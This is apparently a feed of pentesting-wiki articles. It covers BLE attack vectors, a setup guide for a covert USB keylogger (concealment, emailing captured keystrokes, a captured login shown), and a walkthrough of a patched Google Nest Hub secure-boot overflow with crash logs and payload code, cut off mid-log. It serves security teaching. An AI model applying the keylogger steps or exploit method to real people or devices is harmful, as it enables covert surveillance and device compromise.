=== Threat Vectors ===&lt;br /&gt;
&lt;br /&gt;
==== Sniffing / Eavesdropping ====&lt;br /&gt;
&lt;br /&gt;
Sniffing or eavesdropping is performed with BLE by scanning the Radio for messages. This results in an information disclosure, but can be countered if encryption is used to provide confidentiality. The BLE standard itself provides AES-CCM encryption with message authentication by a key created with the usage of P256 ECDH. The commercial market provides some affordable USB Sniffing Accessories, which output pacap files that can be analyzed with [https://www.wireshark.org/ wireshark]:&lt;br /&gt;
* [https://greatscottgadgets.com/ubertoothone/ Ubertooth One]&lt;br /&gt;
* [https://www.nordicsemi.com/Products/Development-tools/nrf-sniffer-for-bluetooth-le NordicRF Sniffer]&lt;br /&gt;
* [https://www.adafruit.com/product/2269 Adafruit Bluefruit LE Sniffer]&lt;br /&gt;
&lt;br /&gt;
==== Radio Jamming ====&lt;br /&gt;
Radio jamming aims to perform a Denial of Service (DoS) by disrupting sent data with interfering signals. Radio jamming can be performed on all channels at the same time (called full band jamming) or selective on a single channel. Furthermore, can be differentiated into persistent and reactive jamming. Persistent full band jamming can be detected easily because it interferes with all sent messages for a long time period. Selective reactive jamming on the other hand is hard to detect because it only jams specific messages.&lt;br /&gt;
&lt;br /&gt;
==== Spoofing ====&lt;br /&gt;
Spoofing is the process of changing the Bluetooth address to impersonate the other device. BLE Spoofing cannot be prevented and is one of the biggest vulnerabilities of the communication protocol. Furthermore, many BLE chip manufacturer provide the functionality to change the address with manufacturer specific host controller interface (HCI) commands, which is abused for spoofing.&lt;br /&gt;
&lt;br /&gt;
==== IRK Stealing ====&lt;br /&gt;
The BLE provides a function to hide the address of and device by using private address. This security feature aims to prevent tracking of devices because they change their address periodically. The devices still can establish a connection by resolving the private address by calculating a hash with the usage of the Identity Resolving Key. This key gets distributed after a legit connection establishment. Therefore, can an adversary spoof another device and tell the target that it lost the long term key and initiate a new pairing process and gathers the IRK.&lt;br /&gt;
&lt;br /&gt;
==== Battery Draining Attacks ====&lt;br /&gt;
Battery drain attacks aim to preform a Denial of Service by draining the devices&#039; battery. This can be either achieved by flooding a device by many pairing requests that then don&#039;t get performed, or by connecting to the device and using its services and denying it to sleep. Many devices achieve a long battery life by using long deep sleep phases and short awake  times, which is prevented by an adversary in this case.&lt;br /&gt;
&lt;br /&gt;
==== DoS due to Spoofed Connection ====&lt;br /&gt;
Older versions of BLE only allowed a peripheral device to only serve one connection at a time. This is used by an adversary to prevent the legit central device from discovering the peripheral by connecting it and keeping the connection open. This restriction was lifted, but the ability to serve multiple connections must be configured by the device manufacturer and therefore is not used by most devices.&lt;br /&gt;
&lt;br /&gt;
==== Fuzzing ====&lt;br /&gt;
Fuzzing is the act of sending arbitrary data or message with mutated lengths of fields. This can cause device failures and deadlocks resulting in denial of service.&lt;br /&gt;
&lt;br /&gt;
==== Downgrade Attacks ====&lt;br /&gt;
Downgrade attacks downgrade either the used paring algorithm or the key size of the encryption key. This attack require a machine in the middle attack during the connection establishment and altering the input output capabilities, secure connections or key size field in connection request.&lt;br /&gt;
&lt;br /&gt;
==== Brute-forcing Legacy Pairing Encryption Key ====&lt;br /&gt;
The Legacy Pairing  algorithm relied on a six-digit temporal key (TK) as the only secret parameter for the derivation of the short term key and link key. The six-digit passcode only provides an entropy of 20 bits and is therefore brute-forceable. Any device that use any BLE version after 4.2 relies on a secure paring authentication algorithm and is therefore not prone to this threat anymore.&lt;br /&gt;
&lt;br /&gt;
==== Cross Transport Key Derivation ====&lt;br /&gt;
Cross Transport Key Derivation (CTKD) is a protocol to cross derive a key from Bluetooth Classic and BLE used by devices that implement both communication protocols (dual-mode devices), e.g., smartphones. The problem is that dual-mode devices can only turn on both protocols in conjunction and even when one of them is in use, is the other one able to be connected to. This is abused by adversaries by connecting to the unused protocol and performing the CTKD. This results in a disconnect between the two legit device because the key is overwritten, and the connection overtaken by the adversary. &lt;br /&gt;
&lt;br /&gt;
==== Machine in the Middle ====&lt;br /&gt;
A machine in the middle attack creates a spoofed connection with both targets and tries to downgrade the connection to plain text to cause information disclosure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== BLE Berry ===&lt;br /&gt;
The BLE Berry takes a distributed three layer multi-user approach. At the lowest layer are the BLE Nodes. BLE Nodes are raspberry pis (3, 4 or Zero) that run a script to perform BLE operations, like interacting with a device, deploying a BLE server. The nodes can have a Sniffing USB accessory attached to perform sniffing operations (The current version only supports the Ubertooth One other ones are WIP). The Nodes interact with the frontend via MQTT messages. The frontend is a QT application that displays the collected data and lets the users command the BLE Nodes. Multiple frontend session can run at the same time, and they are only restricted by the amount of available BLE Nodes. The backend consists of three Docker containers. The database and MQTT Broker use the official Mosquitto and MySQL images, and the database agent is a python script running in an alpine container. The  agent stores all gathered information in the database and provides the stored data to the front end when a session is reopened. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:BLE Berry Project Architecture.png|800px]]&lt;br /&gt;
&lt;br /&gt;
The following figure the how the MQTT topics look like for the BLE Berry Tool.&lt;br /&gt;
[[File:BLE Berry Project MQTT.png|800px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The MySQL database is shown in the figure below.&lt;br /&gt;
[[File:BLE Berry Project Database.png|800px]]&lt;br /&gt;
&lt;br /&gt;
== Source Code and Thesis ==&lt;br /&gt;
https://git.fh-campuswien.ac.at/ble-berry-ma-thesis&lt;br /&gt;
&lt;br /&gt;
Sadly, the source code as well as the thesis can not made public &lt;br /&gt;
the due to legal reasons  until I finish my studies by passing my final exam, but you can contact this email dessyboy@tutanota.com address to get informed when the project gets accessible.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=AirDrive_Keylogger_Max&amp;diff=14614</id>
		<title>AirDrive Keylogger Max</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=AirDrive_Keylogger_Max&amp;diff=14614"/>
		<updated>2024-03-12T17:30:46Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:AirDrive Keylogger Max.PNG|350px|thumb|right|AirDrive Keylogger Max]]&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
The &#039;&#039;&#039;AirDrive Keylogger Max&#039;&#039;&#039; is comparable to the &#039;&#039;&#039;AirDrive Forensic Keylogger Cable (Pro Version)&#039;&#039;&#039;. &lt;br /&gt;
It has additional connectivity and more download options. It works both as a Wi-Fi hotspot, and as a Wi-Fi device, enabling features such as Email reports and time stamping. 8GB of built-in memory was used.&lt;br /&gt;
&lt;br /&gt;
== Features==&lt;br /&gt;
&lt;br /&gt;
* Records keystrokes from any USB keyboard&lt;br /&gt;
* 8 gigabytes of built-in memory&lt;br /&gt;
* Memory accessible as a USB Hi-speed flash drive (480 Mbps)&lt;br /&gt;
* Undetectable for security software&lt;br /&gt;
* Supports over 40 national keyboard layouts&lt;br /&gt;
* Compatible with barcode readers&lt;br /&gt;
* Works as a Wi-Fi hotspot, or as a Wi-Fi device&lt;br /&gt;
* Sends Email reports with recorded keystroke data&lt;br /&gt;
* Supports time-stamping&lt;br /&gt;
* Supports live data streaming over network&lt;br /&gt;
* Connect from any computer, smartphone, or tablet&lt;br /&gt;
* Access keystroke data from web browser&lt;br /&gt;
* Supports WEP, WPA, and WPA-2 network security &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
You don’t need any physical access to access the logged data. It is available on its interface, which is accessible by connecting to it over Wi-Fi. Once you are connected, you can view the logged data in real-time or just download it. &lt;br /&gt;
To hide the keylogger, you can erase the log, disable further logging, or even hide the WLAN network.&lt;br /&gt;
It is simply installed by just connecting any types of USB keyboards or barcode reader. Just connect the keylogger in-line with the keyboard and all keystrokes will be recorded.&lt;br /&gt;
&lt;br /&gt;
There are a lot of configuring options, which will be shown in the practical part. &lt;br /&gt;
&lt;br /&gt;
=== Hands-On ===&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1. Connect the USB keylogger in-line with the external keyboard and the target host. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2. Connect your smartphone, tablet or computer to the Wi-Fi network &amp;quot;AIR_XXYYZZ&amp;quot;, where &amp;quot;XXYYZZ&amp;quot; is the device ID of the USB cable. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3. You can then use any web browser to access the interface under the IP &amp;quot;192.168.4.1&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 1.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;4. Open the settings to configure the keylogger cable. Various configurations can be made there:&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 2.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 3.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
We can click on “Toggle Keyboard” to make the keylogger act as a normal flash drive. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;5. Since the Keylogger Max version has more features, we can take a look at the advanced settings: For every of the advanced settings, an internet connection will be needed. &lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 4.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
After you entered the SSID and the password of your WLAN network, you have to press the save button and restart the device, to activate the configurations. &lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 5.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
You can also use a specific NTP server from https://ntp.org&lt;br /&gt;
After configuration, keystrokes will be shown with timestamps in data log.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 6.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
Find out your SMTP server addresses either by command line or by an online-tool like https://www.dnswatch.info.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Example (if you would use GMAIL):&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Gmail SMTP server address: smtp.gmail.com&lt;br /&gt;
* Gmail SMTP name: Your full name&lt;br /&gt;
* Gmail SMTP username: Your full Gmail address (e.g. you@gmail.com)&lt;br /&gt;
* Gmail SMTP password: The password that you use to log in to Gmail&lt;br /&gt;
* Gmail SMTP port (TLS): 587&lt;br /&gt;
* Gmail SMTP port (SSL): 465&lt;br /&gt;
&lt;br /&gt;
Don’t forget to press the “Save” button.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 7.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
The IP of the target out by typing “ipconfig” in the terminal (Windows) and reading out the local IP address. Choose a free target port of your choice. &lt;br /&gt;
&lt;br /&gt;
You can download a UDP client or use instead the example client, which was already linked in the there.&lt;br /&gt;
&lt;br /&gt;
Don’t forget to press the “Save” button.&lt;br /&gt;
Don’t forget to apply settings with pressing for each section the “Save … “-button.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;6. We can download the “Data log” under the “Download” button.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 8.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;7. With a click on &amp;quot;Data Log&amp;quot; we can observe what is typed on the external keyboard.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Example of a Data Log&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the following you can see a screenshot of a typical user logon process on the portal of the FH Campus Wien.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 9.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
=== Important Legal Notice [1] ===&lt;br /&gt;
&lt;br /&gt;
The usage of a keylogger is fully legal as long as a clear notice is displayed, informing the user of the monitored equipment about the presence of a keystroke logger. We encourage the use of this equipment only for the purpose of monitoring your own computer, especially for protecting children against online hazards. It is NOT LEGAL to use a keylogger for the purpose of intercepting third party data, especially passwords, banking data, confidential correspondence, etc. If in doubt, please seek legal advice before using a keystroke logger. A good starting point is the U.S. Department of Justice Letter on Keystroke Monitoring and Login Banners, according to which a clear notice should be displayed, warning that user keystrokes may be logged.&lt;br /&gt;
&lt;br /&gt;
[[File:This PC is monitored.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
=== Keyboard compability limitations [1] ===&lt;br /&gt;
&lt;br /&gt;
The device will work with almost all types of physical USB keyboards (it won&#039;t work with internal laptop keyboards). It works fine with wireless keyboards, with exception of Bluetooth keyboards. It won&#039;t work a few types of keyboards with built-in high-speed USB hubs (primarily Apple A1243 and Dell KB522), for which the Mac/MCP series should be used. Support for some gaming keyboards is not fully guaranteed, as they often use proprietary protocols.&lt;br /&gt;
&lt;br /&gt;
== Hardware Used ==&lt;br /&gt;
&lt;br /&gt;
[[USB Keylogger Max 8GB]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.keelog.com/airdrive-keylogger-max-premium-usb-hardware-keylogger-with-wifi-and-flash-email-and-live-data-transfer/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=(Legacy)_USB_Vulnerability_on_Google_Nest_Hub&amp;diff=14613</id>
		<title>(Legacy) USB Vulnerability on Google Nest Hub</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=(Legacy)_USB_Vulnerability_on_Google_Nest_Hub&amp;diff=14613"/>
		<updated>2024-03-12T17:29:36Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Disclaimer ==&lt;br /&gt;
&lt;br /&gt;
Article in progress, this is not the final version.&lt;br /&gt;
This tutorial has been patched by Google in December 2021 via OTA-update [update number WIP], now the booting sequence of the Recovery Mode does not work as intended for this exploit to work.&lt;br /&gt;
&lt;br /&gt;
== Background == &lt;br /&gt;
The USB Vulnerability on Google Nest Hub was an possible exploit found out by Frederic Bassé. His report is available at https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html.&lt;br /&gt;
&lt;br /&gt;
The possible firmware versions of the exploit were the following:&lt;br /&gt;
&lt;br /&gt;
* factory firmware (2020/12) - U-Boot 2019.01-gbfc19012ea-dirty (Dec 11 2020 - 04:19:32 )&lt;br /&gt;
* factory firmware (2022/01, 2022/02) - U-Boot 2019.01-g9542d3593d-dirty (May 21 2021 - 20:52:42 )&lt;br /&gt;
&lt;br /&gt;
As stated by Frederic Bassé, the vulnerability shouldn&#039;t even exist since it&#039;s already been twice fixed upstream (means the developers or maintainers at the source have identified and resolved the vulnerability in the software&#039;s codebase, hence the fix is integrated into the main version of the software). The lack of CVE may explain why it hasn&#039;t been propagated downstream. (means the fix has been disseminated to the various versions or distributions that use the affected code. This can involve updating software packages, releasing new versions, or providing patches.)&lt;br /&gt;
&lt;br /&gt;
Beware that the Google Nest Hub will be receiving incoming upgrades for its firmware as soon as it receives a WLAN Signal (Firmware-Update-Over-The-Air, the Update is sent from the Google Servers wireless to the end device) and downgrading the firmware afterwards is not easily done.&lt;br /&gt;
&lt;br /&gt;
In conclusion you will need a device with a manufacturing date listed above and you must not connect it to WiFi or else the firmware version will be upgraded.&lt;br /&gt;
&lt;br /&gt;
The exploit essentially broke down in the following procedures:&lt;br /&gt;
&lt;br /&gt;
=== Hardware exploration ===&lt;br /&gt;
As described on Electronics360 (Link in References), the Google Nest Hub is based on the SoC Amlogic S905D3G. Additionally there is a hidden Micro USB Port, which is used for debugging and normally not to be used by customers. This Micro USB Port is together with the power supply separated from the mainboard on an extra module. The two modules are connected with a 16-pin Flexible Flat Cable. Since the Micro USB 2.0 only requires 3 pins (the port has no power supply) and the power supply itself 11 pins, two pins are remaining. Measuring the voltage on these pins showed that one of these Pins is constant near-0V and the other fluctuates between 0 and 3.3V. This is suitable for an UART port. Via a debugging board with the right FFC connector (16-pin, 0.5mm pitch) one is able to gain access to UART, USB and the power supply.&lt;br /&gt;
&lt;br /&gt;
Via the UART port we can obtain the logs being sent during booting process by using an USB-to-Serial Adapter. Bootloader and U-Boot logs can be seen. When pressing both volume buttons, the Nest is trying to load a file named recovery.img from an external USB flash drive.&lt;br /&gt;
&lt;br /&gt;
=== Software exploration ===&lt;br /&gt;
Said USB recovery mechanism is implemented in U-Boot, which is open source.&lt;br /&gt;
By grepping the recovery.img, a function named recovery_from_udisk is found:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;recovery_from_udisk=&amp;quot; \&lt;br /&gt;
      &amp;quot;while true ;do &amp;quot; \&lt;br /&gt;
             &amp;quot;usb reset; &amp;quot; \&lt;br /&gt;
             &amp;quot;if fatload usb 0 ${loadaddr} recovery.img; then &amp;quot;\&lt;br /&gt;
                    &amp;quot;bootm ${loadaddr};&amp;quot; \&lt;br /&gt;
             &amp;quot;fi;&amp;quot; \&lt;br /&gt;
      &amp;quot;done;&amp;quot; \&lt;br /&gt;
      &amp;quot;\0&amp;quot; \&lt;br /&gt;
&lt;br /&gt;
Furthermore the function bootm, shown in the following lines, shows that recovery_from_udisk is activated when both volume buttons (GPIOZ_5 and GPIOZ_6) are being pressed.&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;upgrade_key=&amp;quot; \&lt;br /&gt;
      &amp;quot;if gpio input GPIOZ_5; then &amp;quot; \&lt;br /&gt;
             &amp;quot;echo detect VOL_UP pressed;&amp;quot; \&lt;br /&gt;
             &amp;quot;if gpio input GPIOZ_6; then &amp;quot; \&lt;br /&gt;
                    &amp;quot;echo VOL_DN pressed;&amp;quot; \&lt;br /&gt;
                    &amp;quot;setenv boot_external_image 1;&amp;quot; \&lt;br /&gt;
                    &amp;quot;run recovery_from_udisk;&amp;quot; \&lt;br /&gt;
 [...]&lt;br /&gt;
&lt;br /&gt;
The recovery.img is verified by another function, aml_sec_boot_check. This verification needs to be bypassed in order to load a custom OS.&lt;br /&gt;
&lt;br /&gt;
To estimate the attack surface from the USB interface, we can take a look at the call flow triggered by the recovery feature:&lt;br /&gt;
[[File:Uboot-cfg.png|500px|thumb|Uboot call flow diagram]]&lt;br /&gt;
Basically usb reset exposes the USB driver when it performs USB enumeration,&lt;br /&gt;
and fatload exposes several drivers : USB, Mass Storage, DOS partition, FAT filesystem.&lt;br /&gt;
The bootm attack surface is very limited since it starts by calling the signature verification routine aml_sec_boot_check, which cannot be reviewed because it&#039;s implemented in TrustZone (no source code or binary available at this moment)&lt;br /&gt;
&lt;br /&gt;
It is known that U-Boot implements a sandbox architecture that allows it to run as a Linux user-space application. This feature is a convenient starting point to build a fuzzer for U-Boot code. Fuzz testing, or fuzzing, is a software testing technique where automated tools input random or unexpected data into a program to discover vulnerabilities, bugs, or unexpected behavior. A fuzzing harness that injects data in blk_dread (function that reads data from a block device), and triggers execution by calling fat_read_file shows that the USB Mass Storage driver sets multiple parameters in structure blk_desc that describe the detected block device in initialized state.&lt;br /&gt;
&lt;br /&gt;
One of these parameters is the block size (blk_desc.blksz) of the block device (which is an USB flash drive in our case). This value is obtained from the block device by sending command READ CAPACITY, which means attacker controls it.&lt;br /&gt;
&lt;br /&gt;
When tinkering with the block size, the following crash message could be detected:&lt;br /&gt;
&lt;br /&gt;
 $ ./fuzz&lt;br /&gt;
 INFO: Seed: 473398954&lt;br /&gt;
 INFO: Loaded 1 modules   (1402 inline 8-bit counters): 1402 [0x5aa0c0, 0x5aa63a), &lt;br /&gt;
 INFO: Loaded 1 PC tables (1402 PCs): 1402 [0x57ada0,0x580540), &lt;br /&gt;
 =================================================================&lt;br /&gt;
 ==5892==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe6db4bb3f at pc 0x0000004f16af bp 0x7ffe6db4b790 sp 0x7ffe6db4af40&lt;br /&gt;
 WRITE of size 32768 at 0x7ffe6db4bb3f thread T0&lt;br /&gt;
     #0 0x4f16ae in __asan_memset (/u-boot-elaine/fuzzer/fuzz+0x4f16ae)&lt;br /&gt;
     #1 0x55a8cf in blk_dread /u-boot-elaine/fuzzer/blk.c:153:13&lt;br /&gt;
     #2 0x5284b1 in part_test_dos /u-boot-elaine/disk/part_dos.c:96:6&lt;br /&gt;
     #3 0x521f52 in part_init /u-boot-elaine/disk/part.c:242:9&lt;br /&gt;
     #4 0x55b494 in usb_stor_probe_device /u-boot-elaine/fuzzer/usb_storage.c:41:5&lt;br /&gt;
     #5 0x55b648 in LLVMFuzzerTestOneInput /u-boot-elaine/fuzzer/fuzz.c:42:5&lt;br /&gt;
     #6 0x42ee1a in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/u-boot-elaine/fuzzer/fuzz+0x42ee1a)&lt;br /&gt;
     #7 0x43052a in fuzzer::Fuzzer::ReadAndExecuteSeedCorpora(std::vector&amp;lt;std::__cxx11::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;, fuzzer::fuzzer_allocator&amp;lt;std::__cxx11::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt; &amp;gt; const&amp;amp;) (/u-boot-elaine/fuzzer/fuzz+0x43052a)&lt;br /&gt;
     #8 0x430bf5 in fuzzer::Fuzzer::Loop(std::vector&amp;lt;std::__cxx11::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;, fuzzer::fuzzer_allocator&amp;lt;std::__cxx11::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt; &amp;gt; const&amp;amp;) (/u-boot-elaine/fuzzer/fuzz+0x430bf5)&lt;br /&gt;
     #9 0x426e00 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/u-boot-elaine/fuzzer/fuzz+0x426e00)&lt;br /&gt;
     #10 0x44a412 in main (/u-boot-elaine/fuzzer/fuzz+0x44a412)&lt;br /&gt;
     #11 0x7b733912f09a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2409a)&lt;br /&gt;
     #12 0x420919 in _start (/u-boot-elaine/fuzzer/fuzz+0x420919)&lt;br /&gt;
  &lt;br /&gt;
 Address 0x7ffe6db4bb3f is located in stack of thread T0 at offset 607 in frame&lt;br /&gt;
     #0 0x5282ff in part_test_dos /u-boot-elaine/disk/part_dos.c:90&lt;br /&gt;
  &lt;br /&gt;
   This frame has 1 object(s):&lt;br /&gt;
     [32, 607) &#039;__mbr&#039; (line 92) &amp;lt;== Memory access at offset 607 overflows this variable&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
AddressSanitizer detected a stack buffer overflow in part_test_dos. This function is called to detect a DOS partition table when an USB Mass Storage device is connected.&lt;br /&gt;
&lt;br /&gt;
It is interesting to note that - while the crash occurs in DOS partition layer - the invalid size at the origin of the crash is set by the USB Mass Storage layer. This suggests that it is unlikely to find this bug if layers are fuzzed independently.&lt;br /&gt;
&lt;br /&gt;
The crash is caused by a simple bug in function part_test_dos :&lt;br /&gt;
&lt;br /&gt;
 static int part_test_dos(struct blk_desc *dev_desc)&lt;br /&gt;
 {&lt;br /&gt;
 [...]&lt;br /&gt;
 (1)    ALLOC_CACHE_ALIGN_BUFFER(legacy_mbr, mbr, 1);&lt;br /&gt;
 &lt;br /&gt;
 (2)    if (blk_dread(dev_desc, 0, 1, (ulong *)mbr) != 1)&lt;br /&gt;
&lt;br /&gt;
The Buffer mbr of 512 bytes (sizeof(legacy_mbr)) is allocated on the stack.&lt;br /&gt;
The Function blk_dread reads 1 block at address 0 from block device dev_desc and writes data to buffer mbr.&lt;br /&gt;
&lt;br /&gt;
If the block size (dev_desc-&amp;gt;blksz) is larger than 512, function blk_dread overflows the buffer mbr.&lt;br /&gt;
&lt;br /&gt;
The block size can be controlled by attacker. Generally most USB flash drives have a block size of 512 bytes, and it cannot be customized easily. So it is required to build one, for example with an Raspberry.&lt;br /&gt;
&lt;br /&gt;
=== Building exploitation device ===&lt;br /&gt;
&lt;br /&gt;
A Raspberry Pico is being used for this project due to being cheap and being supported by TinyUSB (open source cross-platform USBHost-Device stack). TinyUSB enables one to build a customizable flash drive out of the Raspberry Pico.&lt;br /&gt;
&lt;br /&gt;
==== Is the device vulnerable? ====&lt;br /&gt;
In order to check if the Nest is vulnerable to the bug, the block size is being changed to 1024 instead of the maximal supported 512 bytes.&lt;br /&gt;
&lt;br /&gt;
When the Pico is connected to the Nest USB-Port, the UART log shows that the Pico is being detected as Mass Storage with 1024-byte logical blocks:&lt;br /&gt;
&lt;br /&gt;
 usb 1-2: New USB device found, idVendor=cafe, idProduct=4003, bcdDevice= 1.00&lt;br /&gt;
 usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3&lt;br /&gt;
 usb 1-2: Product: TinyUSB Device&lt;br /&gt;
 usb 1-2: Manufacturer: TinyUSB&lt;br /&gt;
 usb 1-2: SerialNumber: 123456789012&lt;br /&gt;
 usb-storage 1-2:1.0: USB Mass Storage device detected&lt;br /&gt;
 scsi host0: usb-storage 1-2:1.0&lt;br /&gt;
 scsi host0: scsi scan: INQUIRY result too short (5), using 36&lt;br /&gt;
 scsi 0:0:0:0: Direct-Access     TinyUSB  Mass Storage     1.0  PQ: 0 ANSI: 2&lt;br /&gt;
 sd 0:0:0:0: Attached scsi generic sg0 type 0&lt;br /&gt;
 sd 0:0:0:0: [sda] 16 1024-byte logical blocks: (16.4 kB/16.0 KiB)&lt;br /&gt;
 sd 0:0:0:0: [sda] Write Protect is off&lt;br /&gt;
 sd 0:0:0:0: [sda] Mode Sense: 03 00 00 00&lt;br /&gt;
 sd 0:0:0:0: [sda] No Caching mode page found&lt;br /&gt;
 sd 0:0:0:0: [sda] Assuming drive cache: write through&lt;br /&gt;
 sda:&lt;br /&gt;
 sd 0:0:0:0: [sda] Attached SCSI removable disk&lt;br /&gt;
&lt;br /&gt;
When booting the Nest and enabling the recovery mode by pressing both volume buttons, the Pico now is causing an exception. The UART log additionally provides us with some registers:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;Synchronous Abort&amp;quot; handler, esr 0x02000000&lt;br /&gt;
 elr: ffffffff8110e000 lr : ffffffff8110e000 (reloc)&lt;br /&gt;
 elr: 0000000000000000 lr : 0000000000000000&lt;br /&gt;
 x0 : 0000000000000002 x1 : 0000000000000000&lt;br /&gt;
 x2 : 0000000000000000 x3 : 0000000000000000&lt;br /&gt;
 x4 : 000000007bed5b00 x5 : fffffffffffffff8&lt;br /&gt;
 x6 : 0000000000000000 x7 : 0000000000000000&lt;br /&gt;
 x8 : 0000000000000001 x9 : 0000000000000008&lt;br /&gt;
 x10: 000000007c0021b0 x11: 000000007c009b80&lt;br /&gt;
 x12: 0000000000000001 x13: 0000000000000001&lt;br /&gt;
 x14: 000000007bed5c4c x15: 00000000ffffffff&lt;br /&gt;
 x16: 0000000000004060 x17: 0000000000000084&lt;br /&gt;
 x18: 000000007bee1dc8 x19: 0000000000000000&lt;br /&gt;
 x20: 0000000000000000 x21: 0000000000000000&lt;br /&gt;
 x22: 000000000000002a x23: 000000007c008490&lt;br /&gt;
 x24: 000000007c008490 x25: 000000007ffdcd80&lt;br /&gt;
 x26: 0000000000000000 x27: 0000000000000000&lt;br /&gt;
 x28: 000000007c009ac0 x29: 0000000000000000&lt;br /&gt;
 &lt;br /&gt;
 Resetting CPU ...&lt;br /&gt;
&lt;br /&gt;
This is a good indicator that the device indeed is vulnerable to the bug.&lt;br /&gt;
We see also the global data pointer &amp;quot;gd&amp;quot; which is stored in register x18.&lt;br /&gt;
The bug allows to overflow a buffer on the stack to overwrite a return address.&lt;br /&gt;
&lt;br /&gt;
U-Boot source code (https://drive.google.com/file/d/1euEvmbInWddUFAhMhHe628WAnpdYpGIa/view?usp=sharing) shows us that stack top is located below said gd.&lt;br /&gt;
&lt;br /&gt;
==== Acquiring the offset of payload address ====&lt;br /&gt;
&lt;br /&gt;
Now to look for the offset in the payload that is sufficient to overwrite the return address, a payload with incremental arbitrary invalid pointers is forged and used as block 0 of the device.&lt;br /&gt;
&lt;br /&gt;
 .text&lt;br /&gt;
 .global _start&lt;br /&gt;
 &lt;br /&gt;
 _start:&lt;br /&gt;
 .word 0xFFFFFC00&lt;br /&gt;
 .word 0xFFFFFC01&lt;br /&gt;
 .word 0xFFFFFC02&lt;br /&gt;
 [...]&lt;br /&gt;
 .word 0xFFFFFFFF&lt;br /&gt;
&lt;br /&gt;
The pico crashes this time with following error message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;Synchronous Abort&amp;quot; handler, esr 0x8a000000&lt;br /&gt;
 elr: fffffc8f8110dc8e lr : fffffc8f8110dc8e (reloc)&lt;br /&gt;
 elr: fffffc8ffffffc8e lr : fffffc8ffffffc8e&lt;br /&gt;
 x0 : 00000000ffffffff x1 : 0000000000000001&lt;br /&gt;
 x2 : 000000007bed5888 x3 : 0000000000000000&lt;br /&gt;
 x4 : 0000000000001000 x5 : 0000000000000200&lt;br /&gt;
 x6 : fffffffffffffffe x7 : 0000000000000000&lt;br /&gt;
 x8 : 0000000000000001 x9 : 0000000000000008&lt;br /&gt;
 x10: 000000007c0021b0 x11: 000000007c009b80&lt;br /&gt;
 x12: 0000000000000001 x13: 0000000000000001&lt;br /&gt;
